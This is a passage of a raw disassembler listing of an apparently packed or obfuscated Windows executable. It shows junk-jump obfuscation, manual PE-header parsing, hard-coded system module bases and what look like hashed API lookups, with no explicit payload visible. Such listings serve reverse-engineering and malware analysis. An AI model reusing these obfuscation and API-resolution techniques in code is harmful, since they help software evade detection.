; FUNCTION CHUNK AT 0040D1DE SIZE 00000015 BYTES

		cdq
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		jmp	loc_40B874
sub_40E014	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E027	proc near		; DATA XREF: sub_40D740-C16o

; FUNCTION CHUNK AT 00409887 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AA4A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040C9D3 SIZE 00000005 BYTES

		mov	edx, [ebp-14h]
		add	eax, [edx+20h]
		xor	edx, edx
		push	edx
		push	eax


loc_40E031:				; CODE XREF: sub_40AD7A+1679j
		mov	eax, [ebp-18h]
		jmp	loc_40C9D3
sub_40E027	endp

; ---------------------------------------------------------------------------


loc_40E039:				; DATA XREF: sub_40B004+22A6o
		or	eax, eax
		jnz	loc_40E9FA
		jmp	loc_40CBE0
; ---------------------------------------------------------------------------


loc_40E046:				; CODE XREF: o45kw3t9:loc_40ED64j
		push	offset loc_4095B3
		jmp	locret_40DF89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECE1


loc_40E050:				; CODE XREF: sub_40ECE1:loc_40AA07j
					; sub_40ACAB:loc_40DC74j
		push	8ADE6901h
		pop	edi
		or	edi, 1E140E5Ah
		and	edi, 9E349F1Fh
		jmp	loc_40A9A8
; END OF FUNCTION CHUNK	FOR sub_40ECE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E509


loc_40E067:				; CODE XREF: sub_40E509+Aj
		adc	edx, [esp+arg_0]
		add	esp, 8
		call	sub_40E159
; END OF FUNCTION CHUNK	FOR sub_40E509
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E073:				; CODE XREF: sub_40D740+12Cj
		jmp	loc_40D74A
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40E078:				; CODE XREF: o45kw3t9:0040CE47j
		ja	loc_40DF21
		test	esi, 35930BF9h
		jmp	loc_40A70F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FA51


loc_40E08A:				; CODE XREF: sub_40FA51-3415j
		jmp	loc_40B378
; END OF FUNCTION CHUNK	FOR sub_40FA51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E08F:				; CODE XREF: sub_40D740-4297j
		jmp	nullsub_60
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40E095:				; CODE XREF: o45kw3t9:00410101j
		jmp	loc_40C98F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E09A:				; CODE XREF: sub_40D740:loc_40FD4Dj
		jmp	loc_410234
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D70E


loc_40E09F:				; CODE XREF: sub_40D70E+Bj
		jmp	loc_40A2D0
; END OF FUNCTION CHUNK	FOR sub_40D70E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40E0A4:				; CODE XREF: sub_40D5BF-72Fj
		jmp	loc_40E83D
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409597


loc_40E0A9:				; CODE XREF: sub_409597+9j
		jmp	loc_40D882
; END OF FUNCTION CHUNK	FOR sub_409597
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C365


loc_40E0AE:				; CODE XREF: sub_40C365+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_40EF63
; END OF FUNCTION CHUNK	FOR sub_40C365
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E893


loc_40E0BF:				; CODE XREF: sub_40E893:loc_40A1DCj
		call	sub_409A7E
; END OF FUNCTION CHUNK	FOR sub_40E893
; START	OF FUNCTION CHUNK FOR sub_40B160


loc_40E0C4:				; CODE XREF: sub_40D740:loc_40B3AFj
					; sub_40B160+192Dj
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_40B160
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40E0CA	proc near		; DATA XREF: o45kw3t9:loc_40E6CEo

; FUNCTION CHUNK AT 0040C885 SIZE 00000005 BYTES

		mov	ds:dword_4090C0, eax
		push	offset sub_40CD2E
		jmp	loc_40C885
sub_40E0CA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E0D9:				; CODE XREF: sub_40D740-237Ej
		test	eax, edx
		jmp	loc_40A696
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40E0E0	proc near		; CODE XREF: sub_40A8E9-B08p
					; o45kw3t9:0040C30Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00409D86 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040A575 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040AF69 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040B457 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040C15D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040DCA8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040E414 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E4BA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040FC5C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040FF13 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		inc	eax
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-18h], 0
		jmp	loc_40E4BA
sub_40E0E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ebx, esi
		jmp	sub_40FF8D
; ---------------------------------------------------------------------------


loc_40E0FB:				; DATA XREF: sub_40B96E:loc_40EA9Co
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_40A7A0
		jmp	loc_40E3B6

; =============== S U B	R O U T	I N E =======================================



sub_40E112	proc near		; CODE XREF: sub_40A467+3p
					; o45kw3t9:0040C497j

; FUNCTION CHUNK AT 0040A2D6 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		push	offset loc_40CFF4
		jmp	loc_40A2D6
sub_40E112	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E12C:				; CODE XREF: sub_40D740-1C98j
		jo	loc_40DB04


loc_40E132:				; CODE XREF: sub_40928F+6C55j
		sbb	eax, edx
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40E134:				; CODE XREF: sub_409FA8+A6Aj
					; sub_40D740:loc_40BEC3j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h


loc_40E13A:				; CODE XREF: o45kw3t9:loc_40AEDAj
		jmp	loc_410292
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A170


loc_40E13F:				; CODE XREF: sub_40A170:loc_40A17Bj
		jge	loc_40EDDA
		pushf
		jmp	loc_40EDD6
; END OF FUNCTION CHUNK	FOR sub_40A170
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A135


loc_40E14B:				; CODE XREF: sub_40A135:loc_40E487j
		mov	al, [eax]
		push	offset sub_409C62
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_40A135
; ---------------------------------------------------------------------------


loc_40E157:				; CODE XREF: o45kw3t9:0040BD74j
		xchg	ebp, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_40E159	proc near		; CODE XREF: sub_40E509-49Bp

; FUNCTION CHUNK AT 00409D3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B44C SIZE 0000000B BYTES

		mov	[esp+0], edx
		pop	edx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 4550h


loc_40E169:				; CODE XREF: o45kw3t9:loc_40EC5Ej
		jmp	loc_409D3F
sub_40E159	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40E16E:				; DATA XREF: sub_40DCEE:loc_40A3DEo
		xor	eax, 6DA4CE28h
		add	eax, ebp
		push	ecx
		push	86F190B0h
		jmp	loc_409716
; ---------------------------------------------------------------------------


loc_40E181:				; CODE XREF: o45kw3t9:0040F0EAj
		sbb	esi, 811E78C5h

; =============== S U B	R O U T	I N E =======================================



sub_40E187	proc near		; CODE XREF: sub_40ECE1:loc_40AA02p

; FUNCTION CHUNK AT 0040BF4D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040C026 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	[ebp-4], eax
		jmp	loc_40C026
sub_40E187	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E193	proc near		; CODE XREF: sub_40ECE1p sub_4102EB+4p
		push	ebp
		mov	ebp, esp
		jmp	loc_40B6AB
sub_40E193	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E19B	proc near		; DATA XREF: sub_409379+3o

; FUNCTION CHUNK AT 0040BA43 SIZE 0000000C BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jz	loc_40BA43
		jmp	loc_40D916
sub_40E19B	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_40E1BC:				; CODE XREF: sub_40DB3D+D25j
					; sub_40ECBD+6j
		mov	edx, [esp+0]
		mov	al, 1
		call	edx
		jmp	loc_4101F4
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40E1C9:				; CODE XREF: o45kw3t9:0040CDB9j
		mov	[ebp-4], eax
		jmp	loc_40EF71

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1D1	proc near		; CODE XREF: sub_40A259-D63p
					; sub_40A259:loc_409C09p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		jmp	loc_41011A
sub_40E1D1	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40E1E0:				; CODE XREF: sub_40B76E+2B3j
		jmp	sub_40A01C
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FEFA


loc_40E1E5:				; CODE XREF: sub_40FEFA-5436j
					; sub_40AD51:loc_40C1C4j
		push	224BF3EEh
		pop	eax
		xor	eax, 0D7F9C6B1h
		add	eax, ebp
		push	offset sub_40F0F5
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_40FEFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A1A8


loc_40E1FD:				; CODE XREF: sub_40A1A8:loc_40BA3Ej
		and	esi, 5A6FB011h
		add	esi, 0F7DD7CDEh
		xchg	esi, [esp+8+var_8]
		jmp	sub_40E4ED
; END OF FUNCTION CHUNK	FOR sub_40A1A8

; =============== S U B	R O U T	I N E =======================================



sub_40E211	proc near		; CODE XREF: sub_40939B:loc_40DC6Fj
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40E223
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_409146
sub_40E211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E223	proc near		; CODE XREF: sub_40E211+4p
		push	ebp
		mov	ebp, esp
		jmp	sub_40EAA6
sub_40E223	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E618


loc_40E22B:				; CODE XREF: sub_40E618+Bj
		jnz	loc_40E24A
		call	nullsub_3
		call	sub_40CEFE
		mov	edx, 0CF0182F6h
		call	sub_40988C


loc_40E245:				; CODE XREF: sub_40909E:loc_40E8DDj
		mov	ds:dword_40E438, eax
; END OF FUNCTION CHUNK	FOR sub_40E618
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40E24A:				; CODE XREF: sub_40909E+3A1Fj
					; sub_40E618:loc_40E22Bj
		mov	eax, ds:dword_40E438
		call	sub_40A01C


loc_40E254:				; CODE XREF: o45kw3t9:loc_40FC39j
		jmp	loc_40CFC4
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------


loc_40E259:				; CODE XREF: o45kw3t9:0040F087j
		sbb	ebx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_40E25B	proc near		; CODE XREF: o45kw3t9:0040F1A4p

arg_4		= dword	ptr  8

		xchg	ecx, [esp+0]
		pop	ecx
		pop	ecx
		mov	ebp, offset nullsub_155
		xchg	ebp, [esp-8+arg_4]
		retn
sub_40E25B	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3F3


loc_40E26A:				; CODE XREF: sub_40A3F3+10j
		jmp	loc_40CD50
; END OF FUNCTION CHUNK	FOR sub_40A3F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40E271:				; CODE XREF: sub_40E6E8+3j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40E448
		or	eax, eax
		jnz	loc_40A946
		jmp	loc_4091FB
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D21F


loc_40E288:				; CODE XREF: sub_40D21F+10j
		pop	eax
		add	eax, 31A3982Ch
		sub	eax, 18D7EB1h
		add	eax, 5A44F0C7h
		xchg	eax, [esp+4+var_4]
		jmp	loc_40CA6D
; END OF FUNCTION CHUNK	FOR sub_40D21F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE14


loc_40E2A4:				; CODE XREF: sub_40DE14+Cj
		jmp	loc_40D3CB
; END OF FUNCTION CHUNK	FOR sub_40DE14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E50


loc_40E2A9:				; CODE XREF: sub_409E50+7j
		jmp	loc_40BEA3
; END OF FUNCTION CHUNK	FOR sub_409E50
; ---------------------------------------------------------------------------


loc_40E2AE:				; CODE XREF: o45kw3t9:loc_40C99Ej
		jbe	loc_40EEB0
		jmp	loc_40A8E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA3C


loc_40E2B9:				; CODE XREF: sub_40CA3C:loc_40CD41j
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0CE432F09h
		pop	eax
		and	eax, 74FD54AEh
		cmp	eax, 85430BE2h
		jmp	loc_40AD9D
; END OF FUNCTION CHUNK	FOR sub_40CA3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E2D4:				; CODE XREF: sub_40D740+10DFj
		shl	eax, 3
		mov	edx, [ebp+8]
		call	sub_40ABFA


loc_40E2DF:				; CODE XREF: sub_40A170+4C6Fj
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40E2E4:				; CODE XREF: o45kw3t9:00409CDFj
					; sub_40B76E+345j
		add	ecx, 77C0D955h
		xchg	ecx, [esp+20h+var_20]
		jmp	loc_40B9D8
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C783


loc_40E2F2:				; CODE XREF: sub_40C783+17j
		add	eax, ebp
		add	eax, 77D56F1Bh
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40C783
; ---------------------------------------------------------------------------
		cmp	ebx, 0CB7406BDh
		jmp	loc_4094D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40E30B:				; CODE XREF: sub_409FA8+1FBj
		xor	ebp, 2D8297F6h
		sbb	ecx, eax
		jmp	loc_40EB4A
; END OF FUNCTION CHUNK	FOR sub_409FA8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40E319:				; CODE XREF: sub_40FE86-428Cj
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_40FE86
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40E31F:				; CODE XREF: o45kw3t9:loc_40BFD8j
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C175
		jmp	loc_409666
; ---------------------------------------------------------------------------
		popf
		jmp	sub_40A7CF
; ---------------------------------------------------------------------------


loc_40E337:				; DATA XREF: sub_40B1B3+3DDDo
		call	sub_40988C
		mov	ds:dword_40E534, eax
; START	OF FUNCTION CHUNK FOR sub_40A7CF


loc_40E341:				; CODE XREF: o45kw3t9:loc_40BC00j
					; o45kw3t9:0040CEF9j ...
		mov	esp, ebp
		pop	ebp
		push	ds:dword_40E534
		retn
; END OF FUNCTION CHUNK	FOR sub_40A7CF
; ---------------------------------------------------------------------------
		jns	locret_40E53D
		or	ebp, 0E0287F8h
		jmp	sub_40CDE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC98


loc_40E35C:				; CODE XREF: sub_40CC98-32Bj
					; o45kw3t9:0040FC46j
		add	eax, 0F71FD1E8h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_40CA37
		call	sub_40CEFE
		mov	edx, 8D40711Dh
		push	edx


loc_40E377:				; CODE XREF: sub_40DB3D:loc_40FED1j
		jmp	loc_40DE06
; END OF FUNCTION CHUNK	FOR sub_40CC98
; ---------------------------------------------------------------------------


loc_40E37C:				; CODE XREF: o45kw3t9:loc_40A70Fj
					; o45kw3t9:loc_40A7E0j
		jnz	loc_40F177
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		push	offset loc_40F16C
		jmp	locret_40CD40
; ---------------------------------------------------------------------------


loc_40E398:				; CODE XREF: o45kw3t9:0040EC38j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_40E399:				; CODE XREF: sub_40CD2E+Dj
		jmp	loc_409866
; END OF FUNCTION CHUNK	FOR sub_40CD2E
; ---------------------------------------------------------------------------


loc_40E39E:				; CODE XREF: o45kw3t9:004099F7j
		jmp	locret_409886
; ---------------------------------------------------------------------------
		db 0C0h
dword_40E3A4	dd 0							; sub_40B76E+4B64r
dword_40E3A8	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40E3AC:				; CODE XREF: sub_40ABFA+53CAj
		jmp	loc_40B69D
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40E3B1:				; CODE XREF: sub_40AD7A+4DAAj
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------


loc_40E3B6:				; CODE XREF: o45kw3t9:0040E10Dj
		jmp	loc_40AD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E3BB:				; CODE XREF: sub_40D740+DEj
		jmp	loc_40B274
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E543


loc_40E3C0:				; CODE XREF: sub_40E543-3AFFj
		jmp	sub_40CEFE
; END OF FUNCTION CHUNK	FOR sub_40E543
; ---------------------------------------------------------------------------
		db 0F3h, 6Bh, 0F6h
dword_40E3C8	dd 0		dword_40E3CC	dd 0							; sub_40A6F8+2E34w
dword_40E3D0	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B93B


loc_40E3D4:				; CODE XREF: sub_40B93B+7j
		jmp	sub_4090F8
; END OF FUNCTION CHUNK	FOR sub_40B93B
; ---------------------------------------------------------------------------
		db 0C8h, 15h, 5Ch
dword_40E3DC	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409C62


loc_40E3E0:				; CODE XREF: sub_410090+5j
		push	esi
		push	2EE6A483h
		pop	esi
		or	esi, 473BDC04h
		rol	esi, 17h
		add	esi, 0BC88D236h
		xchg	esi, [esp+4+var_4]
		jmp	sub_40E6E8
; END OF FUNCTION CHUNK	FOR sub_409C62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E3FE:				; CODE XREF: sub_40D740:loc_40951Dj
		jz	loc_40AF1C
		jmp	loc_409E32
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40E40A:				; CODE XREF: o45kw3t9:0040A7F3j
		jmp	loc_40AA7F
; ---------------------------------------------------------------------------
		db 53h
dword_40E410	dd 7C800000h						; sub_40A8A6:loc_40C1E0r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40E414:				; CODE XREF: sub_40E0E0-421j
		jmp	loc_409D86
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------
		db 84h,	38h, 0E5h
dword_40E41C	dd 73C9ACB6h, 46996CB2h, 0D81B19C5h, 0C958F200h
					; DATA XREF: sub_40CEFE-33DEo
					; o45kw3t9:loc_40B397o
dword_40E42C	dd 0							; sub_40BD84+1405w ...
; ---------------------------------------------------------------------------


loc_40E430:				; CODE XREF: o45kw3t9:0040D9FEj
		jmp	loc_40FBB2
; ---------------------------------------------------------------------------
		db 57h,	0A8h, 34h
dword_40E438	dd 0							; sub_40E618:loc_40E245w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DD8F


loc_40E43C:				; CODE XREF: sub_40DD8F+10j
		jmp	loc_40F0BC
; END OF FUNCTION CHUNK	FOR sub_40DD8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409A44


loc_40E441:				; CODE XREF: sub_409A44+1j
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_409A44
; ---------------------------------------------------------------------------
		dw 0E5D4h
dword_40E448	dd 0C80FE827h						; sub_40E6E8-473r
dword_40E44C	dd 0D32E5F20h	; ---------------------------------------------------------------------------


loc_40E450:				; DATA XREF: sub_40D740+29E6o
		cmp	ds:dword_40F1E8[eax*4],	0
		jz	loc_40D789
		mov	eax, [ebp-4]
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40E461:				; CODE XREF: sub_410069-6D8Dj
		cmp	byte ptr [eax],	0CFh
		jz	loc_40D782
		mov	eax, [ebp-4]
		jmp	loc_40BE09
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------
		mov	edx, 0B242B436h
		call	sub_40E858
		push	eax
		rol	eax, 11h
		mov	ds:dword_40CFE0, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A135


loc_40E487:				; CODE XREF: sub_40A135-1118j
		jmp	loc_40E14B
; END OF FUNCTION CHUNK	FOR sub_40A135
; ---------------------------------------------------------------------------

locret_40E48C:				; CODE XREF: o45kw3t9:loc_40CC37j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EDE4


loc_40E48D:				; CODE XREF: sub_40EDE4+Aj
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_40EDE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E492:				; CODE XREF: sub_40D740:loc_40911Cj
		xchg	ecx, esi
		mov	eax, 37C507B2h
		rol	ebx, 1Ch
		jmp	loc_40ED96
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		jle	loc_40F19F
		rol	edi, 14h
		jmp	sub_40BF87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40E4AF:				; CODE XREF: sub_4091CB+2B68j
		sbb	ecx, 7EFE34C4h
		jmp	loc_410331
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40E4BA:				; CODE XREF: sub_40E0E0-1F7Dj
					; sub_40E0E0+Fj
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_40B457
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------


loc_40E4CF:				; CODE XREF: o45kw3t9:0040AE27j
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_40B085
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E4DB:				; CODE XREF: sub_40D740:loc_40D7E9j
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jmp	loc_40A599
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40E4ED	proc near		; CODE XREF: sub_40B3E5+5p
					; sub_40A1A8+4064j

var_4		= dword	ptr -4

		js	sub_40EC53
		push	8983819Ch
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp+0]
		jmp	loc_40D904
sub_40E4ED	endp

; ---------------------------------------------------------------------------

locret_40E508:				; CODE XREF: o45kw3t9:loc_4094AFj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40E509	proc near		; CODE XREF: sub_40BE4A+15p
					; o45kw3t9:0040EB5Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040E067 SIZE 0000000C BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	eax, [eax]
		cdq
		add	eax, [esp+0]
		jmp	loc_40E067
sub_40E509	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409416


loc_40E518:				; CODE XREF: sub_409416:loc_409CC7j
		setz	al
		call	sub_40BDCC
		pop	ecx
		shl	eax, 3
		jmp	loc_40B53B
; END OF FUNCTION CHUNK	FOR sub_409416
; ---------------------------------------------------------------------------
		db 20h,	8Ch, 24h
dword_40E52C	dd 7C900000h						; sub_40D740:loc_40B853w ...
dword_40E530	dd 0							; sub_40B1A3+6w ...
dword_40E534	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_40A7CF+2DDBr ...
dword_40E538	dd 0							; sub_40A8A6+1942o ...
; ---------------------------------------------------------------------------


loc_40E53C:				; DATA XREF: sub_40D740:loc_40D846o
		pop	ebx

locret_40E53D:				; CODE XREF: o45kw3t9:0040E34Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_40E53E:				; CODE XREF: sub_40B1B3+4j
		jmp	loc_409BF2
; END OF FUNCTION CHUNK	FOR sub_40B1B3

; =============== S U B	R O U T	I N E =======================================



sub_40E543	proc near		; CODE XREF: sub_40FCB4+2p

; FUNCTION CHUNK AT 0040AA35 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040C47C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040D062 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E3C0 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_40B8C2
		call	sub_409263
		jmp	loc_40D062
sub_40E543	endp

; ---------------------------------------------------------------------------


loc_40E560:				; CODE XREF: o45kw3t9:0040A030j
		xor	edi, eax

